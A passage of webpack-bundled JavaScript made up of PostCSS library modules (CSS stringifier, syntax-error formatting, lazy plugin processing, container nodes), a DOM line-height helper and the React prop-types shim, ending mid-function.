1/******/ (() => { // webpackBootstrap
2/******/ var __webpack_modules__ = ({
3
4/***/ 197:
5/***/ (() => {
6
7/* (ignored) */
8
9/***/ }),
10
11/***/ 271:
12/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
13
14"use strict";
15
16
17let Container = __webpack_require__(683)
18
19let LazyResult, Processor
20
21class Document extends Container {
22 constructor(defaults) {
23 // type needs to be passed to super, otherwise child roots won't be normalized correctly
24 super({ type: 'document', ...defaults })
25
26 if (!this.nodes) {
27 this.nodes = []
28 }
29 }
30
31 toResult(opts = {}) {
32 let lazy = new LazyResult(new Processor(), this, opts)
33
34 return lazy.stringify()
35 }
36}
37
38Document.registerLazyResult = dependant => {
39 LazyResult = dependant
40}
41
42Document.registerProcessor = dependant => {
43 Processor = dependant
44}
45
46module.exports = Document
47Document.default = Document
48
49
50/***/ }),
51
52/***/ 346:
53/***/ ((module) => {
54
55"use strict";
56
57
58const DEFAULT_RAW = {
59 after: '\n',
60 beforeClose: '\n',
61 beforeComment: '\n',
62 beforeDecl: '\n',
63 beforeOpen: ' ',
64 beforeRule: '\n',
65 colon: ': ',
66 commentLeft: ' ',
67 commentRight: ' ',
68 emptyBody: '',
69 indent: ' ',
70 semicolon: false
71}
72
73function capitalize(str) {
74 return str[0].toUpperCase() + str.slice(1)
75}
76
77class Stringifier {
78 constructor(builder) {
79 this.builder = builder
80 }
81
82 atrule(node, semicolon) {
83 let name = '@' + node.name
84 let params = node.params ? this.rawValue(node, 'params') : ''
85
86 if (typeof node.raws.afterName !== 'undefined') {
87 name += node.raws.afterName
88 } else if (params) {
89 name += ' '
90 }
91
92 if (node.nodes) {
93 this.block(node, name + params)
94 } else {
95 let end = (node.raws.between || '') + (semicolon ? ';' : '')
96 this.builder(name + params + end, node)
97 }
98 }
99
100 beforeAfter(node, detect) {
101 let value
102 if (node.type === 'decl') {
103 value = this.raw(node, null, 'beforeDecl')
104 } else if (node.type === 'comment') {
105 value = this.raw(node, null, 'beforeComment')
106 } else if (detect === 'before') {
107 value = this.raw(node, null, 'beforeRule')
108 } else {
109 value = this.raw(node, null, 'beforeClose')
110 }
111
112 let buf = node.parent
113 let depth = 0
114 while (buf && buf.type !== 'root') {
115 depth += 1
116 buf = buf.parent
117 }
118
119 if (value.includes('\n')) {
120 let indent = this.raw(node, null, 'indent')
121 if (indent.length) {
122 for (let step = 0; step < depth; step++) value += indent
123 }
124 }
125
126 return value
127 }
128
129 block(node, start) {
130 let between = this.raw(node, 'between', 'beforeOpen')
131 this.builder(start + between + '{', node, 'start')
132
133 let after
134 if (node.nodes && node.nodes.length) {
135 this.body(node)
136 after = this.raw(node, 'after')
137 } else {
138 after = this.raw(node, 'after', 'emptyBody')
139 }
140
141 if (after) this.builder(after)
142 this.builder('}', node, 'end')
143 }
144
145 body(node) {
146 let last = node.nodes.length - 1
147 while (last > 0) {
148 if (node.nodes[last].type !== 'comment') break
149 last -= 1
150 }
151
152 let semicolon = this.raw(node, 'semicolon')
153 for (let i = 0; i < node.nodes.length; i++) {
154 let child = node.nodes[i]
155 let before = this.raw(child, 'before')
156 if (before) this.builder(before)
157 this.stringify(child, last !== i || semicolon)
158 }
159 }
160
161 comment(node) {
162 let left = this.raw(node, 'left', 'commentLeft')
163 let right = this.raw(node, 'right', 'commentRight')
164 this.builder('/*' + left + node.text + right + '*/', node)
165 }
166
167 decl(node, semicolon) {
168 let between = this.raw(node, 'between', 'colon')
169 let string = node.prop + between + this.rawValue(node, 'value')
170
171 if (node.important) {
172 string += node.raws.important || ' !important'
173 }
174
175 if (semicolon) string += ';'
176 this.builder(string, node)
177 }
178
179 document(node) {
180 this.body(node)
181 }
182
183 raw(node, own, detect) {
184 let value
185 if (!detect) detect = own
186
187 // Already had
188 if (own) {
189 value = node.raws[own]
190 if (typeof value !== 'undefined') return value
191 }
192
193 let parent = node.parent
194
195 if (detect === 'before') {
196 // Hack for first rule in CSS
197 if (!parent || (parent.type === 'root' && parent.first === node)) {
198 return ''
199 }
200
201 // `root` nodes in `document` should use only their own raws
202 if (parent && parent.type === 'document') {
203 return ''
204 }
205 }
206
207 // Floating child without parent
208 if (!parent) return DEFAULT_RAW[detect]
209
210 // Detect style by other nodes
211 let root = node.root()
212 if (!root.rawCache) root.rawCache = {}
213 if (typeof root.rawCache[detect] !== 'undefined') {
214 return root.rawCache[detect]
215 }
216
217 if (detect === 'before' || detect === 'after') {
218 return this.beforeAfter(node, detect)
219 } else {
220 let method = 'raw' + capitalize(detect)
221 if (this[method]) {
222 value = this[method](root, node)
223 } else {
224 root.walk(i => {
225 value = i.raws[own]
226 if (typeof value !== 'undefined') return false
227 })
228 }
229 }
230
231 if (typeof value === 'undefined') value = DEFAULT_RAW[detect]
232
233 root.rawCache[detect] = value
234 return value
235 }
236
237 rawBeforeClose(root) {
238 let value
239 root.walk(i => {
240 if (i.nodes && i.nodes.length > 0) {
241 if (typeof i.raws.after !== 'undefined') {
242 value = i.raws.after
243 if (value.includes('\n')) {
244 value = value.replace(/[^\n]+$/, '')
245 }
246 return false
247 }
248 }
249 })
250 if (value) value = value.replace(/\S/g, '')
251 return value
252 }
253
254 rawBeforeComment(root, node) {
255 let value
256 root.walkComments(i => {
257 if (typeof i.raws.before !== 'undefined') {
258 value = i.raws.before
259 if (value.includes('\n')) {
260 value = value.replace(/[^\n]+$/, '')
261 }
262 return false
263 }
264 })
265 if (typeof value === 'undefined') {
266 value = this.raw(node, null, 'beforeDecl')
267 } else if (value) {
268 value = value.replace(/\S/g, '')
269 }
270 return value
271 }
272
273 rawBeforeDecl(root, node) {
274 let value
275 root.walkDecls(i => {
276 if (typeof i.raws.before !== 'undefined') {
277 value = i.raws.before
278 if (value.includes('\n')) {
279 value = value.replace(/[^\n]+$/, '')
280 }
281 return false
282 }
283 })
284 if (typeof value === 'undefined') {
285 value = this.raw(node, null, 'beforeRule')
286 } else if (value) {
287 value = value.replace(/\S/g, '')
288 }
289 return value
290 }
291
292 rawBeforeOpen(root) {
293 let value
294 root.walk(i => {
295 if (i.type !== 'decl') {
296 value = i.raws.between
297 if (typeof value !== 'undefined') return false
298 }
299 })
300 return value
301 }
302
303 rawBeforeRule(root) {
304 let value
305 root.walk(i => {
306 if (i.nodes && (i.parent !== root || root.first !== i)) {
307 if (typeof i.raws.before !== 'undefined') {
308 value = i.raws.before
309 if (value.includes('\n')) {
310 value = value.replace(/[^\n]+$/, '')
311 }
312 return false
313 }
314 }
315 })
316 if (value) value = value.replace(/\S/g, '')
317 return value
318 }
319
320 rawColon(root) {
321 let value
322 root.walkDecls(i => {
323 if (typeof i.raws.between !== 'undefined') {
324 value = i.raws.between.replace(/[^\s:]/g, '')
325 return false
326 }
327 })
328 return value
329 }
330
331 rawEmptyBody(root) {
332 let value
333 root.walk(i => {
334 if (i.nodes && i.nodes.length === 0) {
335 value = i.raws.after
336 if (typeof value !== 'undefined') return false
337 }
338 })
339 return value
340 }
341
342 rawIndent(root) {
343 if (root.raws.indent) return root.raws.indent
344 let value
345 root.walk(i => {
346 let p = i.parent
347 if (p && p !== root && p.parent && p.parent === root) {
348 if (typeof i.raws.before !== 'undefined') {
349 let parts = i.raws.before.split('\n')
350 value = parts[parts.length - 1]
351 value = value.replace(/\S/g, '')
352 return false
353 }
354 }
355 })
356 return value
357 }
358
359 rawSemicolon(root) {
360 let value
361 root.walk(i => {
362 if (i.nodes && i.nodes.length && i.last.type === 'decl') {
363 value = i.raws.semicolon
364 if (typeof value !== 'undefined') return false
365 }
366 })
367 return value
368 }
369
370 rawValue(node, prop) {
371 let value = node[prop]
372 let raw = node.raws[prop]
373 if (raw && raw.value === value) {
374 return raw.raw
375 }
376
377 return value
378 }
379
380 root(node) {
381 this.body(node)
382 if (node.raws.after) this.builder(node.raws.after)
383 }
384
385 rule(node) {
386 this.block(node, this.rawValue(node, 'selector'))
387 if (node.raws.ownSemicolon) {
388 this.builder(node.raws.ownSemicolon, node, 'end')
389 }
390 }
391
392 stringify(node, semicolon) {
393 /* c8 ignore start */
394 if (!this[node.type]) {
395 throw new Error(
396 'Unknown AST node type ' +
397 node.type +
398 '. ' +
399 'Maybe you need to change PostCSS stringifier.'
400 )
401 }
402 /* c8 ignore stop */
403 this[node.type](node, semicolon)
404 }
405}
406
407module.exports = Stringifier
408Stringifier.default = Stringifier
409
410
411/***/ }),
412
413/***/ 356:
414/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
415
416"use strict";
417
418
419let pico = __webpack_require__(2775)
420
421let terminalHighlight = __webpack_require__(9746)
422
423class CssSyntaxError extends Error {
424 constructor(message, line, column, source, file, plugin) {
425 super(message)
426 this.name = 'CssSyntaxError'
427 this.reason = message
428
429 if (file) {
430 this.file = file
431 }
432 if (source) {
433 this.source = source
434 }
435 if (plugin) {
436 this.plugin = plugin
437 }
438 if (typeof line !== 'undefined' && typeof column !== 'undefined') {
439 if (typeof line === 'number') {
440 this.line = line
441 this.column = column
442 } else {
443 this.line = line.line
444 this.column = line.column
445 this.endLine = column.line
446 this.endColumn = column.column
447 }
448 }
449
450 this.setMessage()
451
452 if (Error.captureStackTrace) {
453 Error.captureStackTrace(this, CssSyntaxError)
454 }
455 }
456
457 setMessage() {
458 this.message = this.plugin ? this.plugin + ': ' : ''
459 this.message += this.file ? this.file : '<css input>'
460 if (typeof this.line !== 'undefined') {
461 this.message += ':' + this.line + ':' + this.column
462 }
463 this.message += ': ' + this.reason
464 }
465
466 showSourceCode(color) {
467 if (!this.source) return ''
468
469 let css = this.source
470 if (color == null) color = pico.isColorSupported
471
472 let aside = text => text
473 let mark = text => text
474 let highlight = text => text
475 if (color) {
476 let { bold, gray, red } = pico.createColors(true)
477 mark = text => bold(red(text))
478 aside = text => gray(text)
479 if (terminalHighlight) {
480 highlight = text => terminalHighlight(text)
481 }
482 }
483
484 let lines = css.split(/\r?\n/)
485 let start = Math.max(this.line - 3, 0)
486 let end = Math.min(this.line + 2, lines.length)
487 let maxWidth = String(end).length
488
489 return lines
490 .slice(start, end)
491 .map((line, index) => {
492 let number = start + 1 + index
493 let gutter = ' ' + (' ' + number).slice(-maxWidth) + ' | '
494 if (number === this.line) {
495 if (line.length > 160) {
496 let padding = 20
497 let subLineStart = Math.max(0, this.column - padding)
498 let subLineEnd = Math.max(
499 this.column + padding,
500 this.endColumn + padding
501 )
502 let subLine = line.slice(subLineStart, subLineEnd)
503
504 let spacing =
505 aside(gutter.replace(/\d/g, ' ')) +
506 line
507 .slice(0, Math.min(this.column - 1, padding - 1))
508 .replace(/[^\t]/g, ' ')
509
510 return (
511 mark('>') +
512 aside(gutter) +
513 highlight(subLine) +
514 '\n ' +
515 spacing +
516 mark('^')
517 )
518 }
519
520 let spacing =
521 aside(gutter.replace(/\d/g, ' ')) +
522 line.slice(0, this.column - 1).replace(/[^\t]/g, ' ')
523
524 return (
525 mark('>') +
526 aside(gutter) +
527 highlight(line) +
528 '\n ' +
529 spacing +
530 mark('^')
531 )
532 }
533
534 return ' ' + aside(gutter) + highlight(line)
535 })
536 .join('\n')
537 }
538
539 toString() {
540 let code = this.showSourceCode()
541 if (code) {
542 code = '\n\n' + code + '\n'
543 }
544 return this.name + ': ' + this.message + code
545 }
546}
547
548module.exports = CssSyntaxError
549CssSyntaxError.default = CssSyntaxError
550
551
552/***/ }),
553
554/***/ 448:
555/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
556
557"use strict";
558
559
560let Container = __webpack_require__(683)
561let Document = __webpack_require__(271)
562let MapGenerator = __webpack_require__(1670)
563let parse = __webpack_require__(4295)
564let Result = __webpack_require__(9055)
565let Root = __webpack_require__(9434)
566let stringify = __webpack_require__(633)
567let { isClean, my } = __webpack_require__(1381)
568let warnOnce = __webpack_require__(3122)
569
570const TYPE_TO_CLASS_NAME = {
571 atrule: 'AtRule',
572 comment: 'Comment',
573 decl: 'Declaration',
574 document: 'Document',
575 root: 'Root',
576 rule: 'Rule'
577}
578
579const PLUGIN_PROPS = {
580 AtRule: true,
581 AtRuleExit: true,
582 Comment: true,
583 CommentExit: true,
584 Declaration: true,
585 DeclarationExit: true,
586 Document: true,
587 DocumentExit: true,
588 Once: true,
589 OnceExit: true,
590 postcssPlugin: true,
591 prepare: true,
592 Root: true,
593 RootExit: true,
594 Rule: true,
595 RuleExit: true
596}
597
598const NOT_VISITORS = {
599 Once: true,
600 postcssPlugin: true,
601 prepare: true
602}
603
604const CHILDREN = 0
605
606function isPromise(obj) {
607 return typeof obj === 'object' && typeof obj.then === 'function'
608}
609
610function getEvents(node) {
611 let key = false
612 let type = TYPE_TO_CLASS_NAME[node.type]
613 if (node.type === 'decl') {
614 key = node.prop.toLowerCase()
615 } else if (node.type === 'atrule') {
616 key = node.name.toLowerCase()
617 }
618
619 if (key && node.append) {
620 return [
621 type,
622 type + '-' + key,
623 CHILDREN,
624 type + 'Exit',
625 type + 'Exit-' + key
626 ]
627 } else if (key) {
628 return [type, type + '-' + key, type + 'Exit', type + 'Exit-' + key]
629 } else if (node.append) {
630 return [type, CHILDREN, type + 'Exit']
631 } else {
632 return [type, type + 'Exit']
633 }
634}
635
636function toStack(node) {
637 let events
638 if (node.type === 'document') {
639 events = ['Document', CHILDREN, 'DocumentExit']
640 } else if (node.type === 'root') {
641 events = ['Root', CHILDREN, 'RootExit']
642 } else {
643 events = getEvents(node)
644 }
645
646 return {
647 eventIndex: 0,
648 events,
649 iterator: 0,
650 node,
651 visitorIndex: 0,
652 visitors: []
653 }
654}
655
656function cleanMarks(node) {
657 node[isClean] = false
658 if (node.nodes) node.nodes.forEach(i => cleanMarks(i))
659 return node
660}
661
662let postcss = {}
663
664class LazyResult {
665 get content() {
666 return this.stringify().content
667 }
668
669 get css() {
670 return this.stringify().css
671 }
672
673 get map() {
674 return this.stringify().map
675 }
676
677 get messages() {
678 return this.sync().messages
679 }
680
681 get opts() {
682 return this.result.opts
683 }
684
685 get processor() {
686 return this.result.processor
687 }
688
689 get root() {
690 return this.sync().root
691 }
692
693 get [Symbol.toStringTag]() {
694 return 'LazyResult'
695 }
696
697 constructor(processor, css, opts) {
698 this.stringified = false
699 this.processed = false
700
701 let root
702 if (
703 typeof css === 'object' &&
704 css !== null &&
705 (css.type === 'root' || css.type === 'document')
706 ) {
707 root = cleanMarks(css)
708 } else if (css instanceof LazyResult || css instanceof Result) {
709 root = cleanMarks(css.root)
710 if (css.map) {
711 if (typeof opts.map === 'undefined') opts.map = {}
712 if (!opts.map.inline) opts.map.inline = false
713 opts.map.prev = css.map
714 }
715 } else {
716 let parser = parse
717 if (opts.syntax) parser = opts.syntax.parse
718 if (opts.parser) parser = opts.parser
719 if (parser.parse) parser = parser.parse
720
721 try {
722 root = parser(css, opts)
723 } catch (error) {
724 this.processed = true
725 this.error = error
726 }
727
728 if (root && !root[my]) {
729 /* c8 ignore next 2 */
730 Container.rebuild(root)
731 }
732 }
733
734 this.result = new Result(processor, root, opts)
735 this.helpers = { ...postcss, postcss, result: this.result }
736 this.plugins = this.processor.plugins.map(plugin => {
737 if (typeof plugin === 'object' && plugin.prepare) {
738 return { ...plugin, ...plugin.prepare(this.result) }
739 } else {
740 return plugin
741 }
742 })
743 }
744
745 async() {
746 if (this.error) return Promise.reject(this.error)
747 if (this.processed) return Promise.resolve(this.result)
748 if (!this.processing) {
749 this.processing = this.runAsync()
750 }
751 return this.processing
752 }
753
754 catch(onRejected) {
755 return this.async().catch(onRejected)
756 }
757
758 finally(onFinally) {
759 return this.async().then(onFinally, onFinally)
760 }
761
762 getAsyncError() {
763 throw new Error('Use process(css).then(cb) to work with async plugins')
764 }
765
766 handleError(error, node) {
767 let plugin = this.result.lastPlugin
768 try {
769 if (node) node.addToError(error)
770 this.error = error
771 if (error.name === 'CssSyntaxError' && !error.plugin) {
772 error.plugin = plugin.postcssPlugin
773 error.setMessage()
774 } else if (plugin.postcssVersion) {
775 if (false) {}
776 }
777 } catch (err) {
778 /* c8 ignore next 3 */
779 // eslint-disable-next-line no-console
780 if (console && console.error) console.error(err)
781 }
782 return error
783 }
784
785 prepareVisitors() {
786 this.listeners = {}
787 let add = (plugin, type, cb) => {
788 if (!this.listeners[type]) this.listeners[type] = []
789 this.listeners[type].push([plugin, cb])
790 }
791 for (let plugin of this.plugins) {
792 if (typeof plugin === 'object') {
793 for (let event in plugin) {
794 if (!PLUGIN_PROPS[event] && /^[A-Z]/.test(event)) {
795 throw new Error(
796 `Unknown event ${event} in ${plugin.postcssPlugin}. ` +
797 `Try to update PostCSS (${this.processor.version} now).`
798 )
799 }
800 if (!NOT_VISITORS[event]) {
801 if (typeof plugin[event] === 'object') {
802 for (let filter in plugin[event]) {
803 if (filter === '*') {
804 add(plugin, event, plugin[event][filter])
805 } else {
806 add(
807 plugin,
808 event + '-' + filter.toLowerCase(),
809 plugin[event][filter]
810 )
811 }
812 }
813 } else if (typeof plugin[event] === 'function') {
814 add(plugin, event, plugin[event])
815 }
816 }
817 }
818 }
819 }
820 this.hasListener = Object.keys(this.listeners).length > 0
821 }
822
823 async runAsync() {
824 this.plugin = 0
825 for (let i = 0; i < this.plugins.length; i++) {
826 let plugin = this.plugins[i]
827 let promise = this.runOnRoot(plugin)
828 if (isPromise(promise)) {
829 try {
830 await promise
831 } catch (error) {
832 throw this.handleError(error)
833 }
834 }
835 }
836
837 this.prepareVisitors()
838 if (this.hasListener) {
839 let root = this.result.root
840 while (!root[isClean]) {
841 root[isClean] = true
842 let stack = [toStack(root)]
843 while (stack.length > 0) {
844 let promise = this.visitTick(stack)
845 if (isPromise(promise)) {
846 try {
847 await promise
848 } catch (e) {
849 let node = stack[stack.length - 1].node
850 throw this.handleError(e, node)
851 }
852 }
853 }
854 }
855
856 if (this.listeners.OnceExit) {
857 for (let [plugin, visitor] of this.listeners.OnceExit) {
858 this.result.lastPlugin = plugin
859 try {
860 if (root.type === 'document') {
861 let roots = root.nodes.map(subRoot =>
862 visitor(subRoot, this.helpers)
863 )
864
865 await Promise.all(roots)
866 } else {
867 await visitor(root, this.helpers)
868 }
869 } catch (e) {
870 throw this.handleError(e)
871 }
872 }
873 }
874 }
875
876 this.processed = true
877 return this.stringify()
878 }
879
880 runOnRoot(plugin) {
881 this.result.lastPlugin = plugin
882 try {
883 if (typeof plugin === 'object' && plugin.Once) {
884 if (this.result.root.type === 'document') {
885 let roots = this.result.root.nodes.map(root =>
886 plugin.Once(root, this.helpers)
887 )
888
889 if (isPromise(roots[0])) {
890 return Promise.all(roots)
891 }
892
893 return roots
894 }
895
896 return plugin.Once(this.result.root, this.helpers)
897 } else if (typeof plugin === 'function') {
898 return plugin(this.result.root, this.result)
899 }
900 } catch (error) {
901 throw this.handleError(error)
902 }
903 }
904
905 stringify() {
906 if (this.error) throw this.error
907 if (this.stringified) return this.result
908 this.stringified = true
909
910 this.sync()
911
912 let opts = this.result.opts
913 let str = stringify
914 if (opts.syntax) str = opts.syntax.stringify
915 if (opts.stringifier) str = opts.stringifier
916 if (str.stringify) str = str.stringify
917
918 let map = new MapGenerator(str, this.result.root, this.result.opts)
919 let data = map.generate()
920 this.result.css = data[0]
921 this.result.map = data[1]
922
923 return this.result
924 }
925
926 sync() {
927 if (this.error) throw this.error
928 if (this.processed) return this.result
929 this.processed = true
930
931 if (this.processing) {
932 throw this.getAsyncError()
933 }
934
935 for (let plugin of this.plugins) {
936 let promise = this.runOnRoot(plugin)
937 if (isPromise(promise)) {
938 throw this.getAsyncError()
939 }
940 }
941
942 this.prepareVisitors()
943 if (this.hasListener) {
944 let root = this.result.root
945 while (!root[isClean]) {
946 root[isClean] = true
947 this.walkSync(root)
948 }
949 if (this.listeners.OnceExit) {
950 if (root.type === 'document') {
951 for (let subRoot of root.nodes) {
952 this.visitSync(this.listeners.OnceExit, subRoot)
953 }
954 } else {
955 this.visitSync(this.listeners.OnceExit, root)
956 }
957 }
958 }
959
960 return this.result
961 }
962
963 then(onFulfilled, onRejected) {
964 if (false) {}
965 return this.async().then(onFulfilled, onRejected)
966 }
967
968 toString() {
969 return this.css
970 }
971
972 visitSync(visitors, node) {
973 for (let [plugin, visitor] of visitors) {
974 this.result.lastPlugin = plugin
975 let promise
976 try {
977 promise = visitor(node, this.helpers)
978 } catch (e) {
979 throw this.handleError(e, node.proxyOf)
980 }
981 if (node.type !== 'root' && node.type !== 'document' && !node.parent) {
982 return true
983 }
984 if (isPromise(promise)) {
985 throw this.getAsyncError()
986 }
987 }
988 }
989
990 visitTick(stack) {
991 let visit = stack[stack.length - 1]
992 let { node, visitors } = visit
993
994 if (node.type !== 'root' && node.type !== 'document' && !node.parent) {
995 stack.pop()
996 return
997 }
998
999 if (visitors.length > 0 && visit.visitorIndex < visitors.length) {
1000 let [plugin, visitor] = visitors[visit.visitorIndex]
1001 visit.visitorIndex += 1
1002 if (visit.visitorIndex === visitors.length) {
1003 visit.visitors = []
1004 visit.visitorIndex = 0
1005 }
1006 this.result.lastPlugin = plugin
1007 try {
1008 return visitor(node.toProxy(), this.helpers)
1009 } catch (e) {
1010 throw this.handleError(e, node)
1011 }
1012 }
1013
1014 if (visit.iterator !== 0) {
1015 let iterator = visit.iterator
1016 let child
1017 while ((child = node.nodes[node.indexes[iterator]])) {
1018 node.indexes[iterator] += 1
1019 if (!child[isClean]) {
1020 child[isClean] = true
1021 stack.push(toStack(child))
1022 return
1023 }
1024 }
1025 visit.iterator = 0
1026 delete node.indexes[iterator]
1027 }
1028
1029 let events = visit.events
1030 while (visit.eventIndex < events.length) {
1031 let event = events[visit.eventIndex]
1032 visit.eventIndex += 1
1033 if (event === CHILDREN) {
1034 if (node.nodes && node.nodes.length) {
1035 node[isClean] = true
1036 visit.iterator = node.getIterator()
1037 }
1038 return
1039 } else if (this.listeners[event]) {
1040 visit.visitors = this.listeners[event]
1041 return
1042 }
1043 }
1044 stack.pop()
1045 }
1046
1047 walkSync(node) {
1048 node[isClean] = true
1049 let events = getEvents(node)
1050 for (let event of events) {
1051 if (event === CHILDREN) {
1052 if (node.nodes) {
1053 node.each(child => {
1054 if (!child[isClean]) this.walkSync(child)
1055 })
1056 }
1057 } else {
1058 let visitors = this.listeners[event]
1059 if (visitors) {
1060 if (this.visitSync(visitors, node.toProxy())) return
1061 }
1062 }
1063 }
1064 }
1065
1066 warnings() {
1067 return this.sync().warnings()
1068 }
1069}
1070
1071LazyResult.registerPostcss = dependant => {
1072 postcss = dependant
1073}
1074
1075module.exports = LazyResult
1076LazyResult.default = LazyResult
1077
1078Root.registerLazyResult(LazyResult)
1079Document.registerLazyResult(LazyResult)
1080
1081
1082/***/ }),
1083
1084/***/ 461:
1085/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
1086
1087// Load in dependencies
1088var computedStyle = __webpack_require__(6109);
1089
1090/**
1091 * Calculate the `line-height` of a given node
1092 * @param {HTMLElement} node Element to calculate line height of. Must be in the DOM.
1093 * @returns {Number} `line-height` of the element in pixels
1094 */
1095function lineHeight(node) {
1096 // Grab the line-height via style
1097 var lnHeightStr = computedStyle(node, 'line-height');
1098 var lnHeight = parseFloat(lnHeightStr, 10);
1099
1100 // If the lineHeight did not contain a unit (i.e. it was numeric), convert it to ems (e.g. '2.3' === '2.3em')
1101 if (lnHeightStr === lnHeight + '') {
1102 // Save the old lineHeight style and update the em unit to the element
1103 var _lnHeightStyle = node.style.lineHeight;
1104 node.style.lineHeight = lnHeightStr + 'em';
1105
1106 // Calculate the em based height
1107 lnHeightStr = computedStyle(node, 'line-height');
1108 lnHeight = parseFloat(lnHeightStr, 10);
1109
1110 // Revert the lineHeight style
1111 if (_lnHeightStyle) {
1112 node.style.lineHeight = _lnHeightStyle;
1113 } else {
1114 delete node.style.lineHeight;
1115 }
1116 }
1117
1118 // If the lineHeight is in `pt`, convert it to pixels (4px for 3pt)
1119 // DEV: `em` units are converted to `pt` in IE6
1120 // Conversion ratio from https://developer.mozilla.org/en-US/docs/Web/CSS/length
1121 if (lnHeightStr.indexOf('pt') !== -1) {
1122 lnHeight *= 4;
1123 lnHeight /= 3;
1124 // Otherwise, if the lineHeight is in `mm`, convert it to pixels (96px for 25.4mm)
1125 } else if (lnHeightStr.indexOf('mm') !== -1) {
1126 lnHeight *= 96;
1127 lnHeight /= 25.4;
1128 // Otherwise, if the lineHeight is in `cm`, convert it to pixels (96px for 2.54cm)
1129 } else if (lnHeightStr.indexOf('cm') !== -1) {
1130 lnHeight *= 96;
1131 lnHeight /= 2.54;
1132 // Otherwise, if the lineHeight is in `in`, convert it to pixels (96px for 1in)
1133 } else if (lnHeightStr.indexOf('in') !== -1) {
1134 lnHeight *= 96;
1135 // Otherwise, if the lineHeight is in `pc`, convert it to pixels (12pt for 1pc)
1136 } else if (lnHeightStr.indexOf('pc') !== -1) {
1137 lnHeight *= 16;
1138 }
1139
1140 // Continue our computation
1141 lnHeight = Math.round(lnHeight);
1142
1143 // If the line-height is "normal", calculate by font-size
1144 if (lnHeightStr === 'normal') {
1145 // Create a temporary node
1146 var nodeName = node.nodeName;
1147 var _node = document.createElement(nodeName);
1148 _node.innerHTML = ' ';
1149
1150 // If we have a text area, reset it to only 1 row
1151 // https://github.com/twolfson/line-height/issues/4
1152 if (nodeName.toUpperCase() === 'TEXTAREA') {
1153 _node.setAttribute('rows', '1');
1154 }
1155
1156 // Set the font-size of the element
1157 var fontSizeStr = computedStyle(node, 'font-size');
1158 _node.style.fontSize = fontSizeStr;
1159
1160 // Remove default padding/border which can affect offset height
1161 // https://github.com/twolfson/line-height/issues/4
1162 // https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/offsetHeight
1163 _node.style.padding = '0px';
1164 _node.style.border = '0px';
1165
1166 // Append it to the body
1167 var body = document.body;
1168 body.appendChild(_node);
1169
1170 // Assume the line height of the element is the height
1171 var height = _node.offsetHeight;
1172 lnHeight = height;
1173
1174 // Remove our child from the DOM
1175 body.removeChild(_node);
1176 }
1177
1178 // Return the calculated height
1179 return lnHeight;
1180}
1181
1182// Export lineHeight
1183module.exports = lineHeight;
1184
1185
1186/***/ }),
1187
1188/***/ 628:
1189/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
1190
1191"use strict";
1192/**
1193 * Copyright (c) 2013-present, Facebook, Inc.
1194 *
1195 * This source code is licensed under the MIT license found in the
1196 * LICENSE file in the root directory of this source tree.
1197 */
1198
1199
1200
1201var ReactPropTypesSecret = __webpack_require__(4067);
1202
1203function emptyFunction() {}
1204function emptyFunctionWithReset() {}
1205emptyFunctionWithReset.resetWarningCache = emptyFunction;
1206
1207module.exports = function() {
1208 function shim(props, propName, componentName, location, propFullName, secret) {
1209 if (secret === ReactPropTypesSecret) {
1210 // It is still safe when called from React.
1211 return;
1212 }
1213 var err = new Error(
1214 'Calling PropTypes validators directly is not supported by the `prop-types` package. ' +
1215 'Use PropTypes.checkPropTypes() to call them. ' +
1216 'Read more at http://fb.me/use-check-prop-types'
1217 );
1218 err.name = 'Invariant Violation';
1219 throw err;
1220 };
1221 shim.isRequired = shim;
1222 function getShim() {
1223 return shim;
1224 };
1225 // Important!
1226 // Keep this list in sync with production version in `./factoryWithTypeCheckers.js`.
1227 var ReactPropTypes = {
1228 array: shim,
1229 bigint: shim,
1230 bool: shim,
1231 func: shim,
1232 number: shim,
1233 object: shim,
1234 string: shim,
1235 symbol: shim,
1236
1237 any: shim,
1238 arrayOf: getShim,
1239 element: shim,
1240 elementType: shim,
1241 instanceOf: getShim,
1242 node: shim,
1243 objectOf: getShim,
1244 oneOf: getShim,
1245 oneOfType: getShim,
1246 shape: getShim,
1247 exact: getShim,
1248
1249 checkPropTypes: emptyFunctionWithReset,
1250 resetWarningCache: emptyFunction
1251 };
1252
1253 ReactPropTypes.PropTypes = ReactPropTypes;
1254
1255 return ReactPropTypes;
1256};
1257
1258
1259/***/ }),
1260
1261/***/ 633:
1262/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
1263
1264"use strict";
1265
1266
1267let Stringifier = __webpack_require__(346)
1268
1269function stringify(node, builder) {
1270 let str = new Stringifier(builder)
1271 str.stringify(node)
1272}
1273
1274module.exports = stringify
1275stringify.default = stringify
1276
1277
1278/***/ }),
1279
1280/***/ 683:
1281/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
1282
1283"use strict";
1284
1285
1286let Comment = __webpack_require__(6589)
1287let Declaration = __webpack_require__(1516)
1288let Node = __webpack_require__(7490)
1289let { isClean, my } = __webpack_require__(1381)
1290
1291let AtRule, parse, Root, Rule
1292
1293function cleanSource(nodes) {
1294 return nodes.map(i => {
1295 if (i.nodes) i.nodes = cleanSource(i.nodes)
1296 delete i.source
1297 return i
1298 })
1299}
1300
1301function markTreeDirty(node) {
1302 node[isClean] = false
1303 if (node.proxyOf.nodes) {
1304 for (let i of node.proxyOf.nodes) {
1305 markTreeDirty(i)
1306 }
1307 }
1308}
1309
1310class Container extends Node {
1311 get first() {
1312 if (!this.proxyOf.nodes) return undefined
1313 return this.proxyOf.nodes[0]
1314 }
1315
1316 get last() {
1317 if (!this.proxyOf.nodes) return undefined
1318 return this.proxyOf.nodes[this.proxyOf.nodes.length - 1]
1319 }
1320
1321 append(...children) {
1322 for (let child of children) {
1323 let nodes = this.normalize(child, this.last)
1324 for (let node of nodes) this.proxyOf.nodes.push(node)
1325 }
1326
1327 this.markDirty()
1328
1329 return this
1330 }
1331
1332 cleanRaws(keepBetween) {
1333 super.cleanRaws(keepBetween)
1334 if (this.nodes) {
1335 for (let node of this.nodes) node.cleanRaws(keepBetween)
1336 }
1337 }
1338
1339 each(callback) {
1340 if (!this.proxyOf.nodes) return undefined
1341 let iterator = this.getIterator()
1342
1343 let index, result
1344 while (this.indexes[iterator] < this.proxyOf.nodes.length) {
1345 index = this.indexes[iterator]
1346 result = callback(this.proxyOf.nodes[index], index)
1347 if (result === false) break
1348
